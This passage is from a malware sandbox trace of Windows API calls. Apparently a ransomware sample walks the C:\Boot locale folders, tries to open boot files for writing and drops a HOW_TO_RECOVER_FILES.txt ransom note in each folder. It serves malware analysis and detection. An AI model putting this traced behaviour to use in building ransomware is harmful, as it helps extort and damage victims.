lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0070.619] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.619] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.619] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x3218a00 | out: lpFileInformation=0x3218a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760)) returned 1 [0070.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.619] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.619] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.621] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0070.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.621] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x32190b0 | out: lpFileInformation=0x32190b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798)) returned 1 [0070.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.622] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0070.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.622] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.624] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0070.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0070.624] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\ja-jp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0070.626] GetFileType (hFile=0x6b0) returned 0x1 [0070.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0070.626] GetFileType (hFile=0x6b0) returned 0x1 [0070.626] WriteFile (in: hFile=0x6b0, lpBuffer=0x321bab0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x321bab0*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0070.627] CloseHandle (hObject=0x6b0) returned 1 [0070.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.628] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR", lpFilePart=0x0) returned 0xd [0070.628] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.628] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.628] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.629] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0070.629] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.629] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.629] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR", lpFilePart=0x0) returned 0xd [0070.629] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.629] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.629] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.630] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0070.630] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0070.630] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.630] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.630] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x322a708 | out: lpFileInformation=0x322a708*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560)) returned 1 [0070.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.630] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.631] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.633] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0070.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.633] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x322adb8 | out: lpFileInformation=0x322adb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0)) returned 1 [0070.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.633] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0070.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.633] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.635] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0070.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0070.635] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\ko-kr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0070.806] GetFileType (hFile=0x768) returned 0x1 [0070.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0070.806] GetFileType (hFile=0x768) returned 0x1 [0070.806] WriteFile (in: hFile=0x768, lpBuffer=0x33d18e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x33d18e8*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0070.807] CloseHandle (hObject=0x768) returned 1 [0070.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.808] GetFullPathNameW (in: lpFileName="C:\\Boot\\lt-LT", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\lt-LT", lpFilePart=0x0) returned 0xd [0070.808] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.808] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.808] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.808] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.808] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.809] GetFullPathNameW (in: lpFileName="C:\\Boot\\lt-LT", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\lt-LT", lpFilePart=0x0) returned 0xd [0070.809] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.809] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.809] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.809] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0070.809] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.810] GetFullPathNameW (in: lpFileName="C:\\Boot\\lt-LT\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\lt-LT\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.810] GetFileAttributesExW (in: lpFileName="C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x33e0258 | out: lpFileInformation=0x33e0258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760)) returned 1 [0070.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.810] GetFullPathNameW (in: lpFileName="C:\\Boot\\lt-LT\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\lt-LT\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.810] CreateFileW (lpFileName="C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.812] GetFullPathNameW (in: lpFileName="C:\\Boot\\lt-LT\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\lt-LT\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0070.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0070.812] CreateFileW (lpFileName="C:\\Boot\\lt-LT\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\lt-lt\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0070.812] GetFileType (hFile=0x768) returned 0x1 [0070.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0070.812] GetFileType (hFile=0x768) returned 0x1 [0070.813] WriteFile (in: hFile=0x768, lpBuffer=0x33e2c58*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x33e2c58*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0070.814] CloseHandle (hObject=0x768) returned 1 [0070.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.815] GetFullPathNameW (in: lpFileName="C:\\Boot\\lv-LV", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\lv-LV", lpFilePart=0x0) returned 0xd [0070.815] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 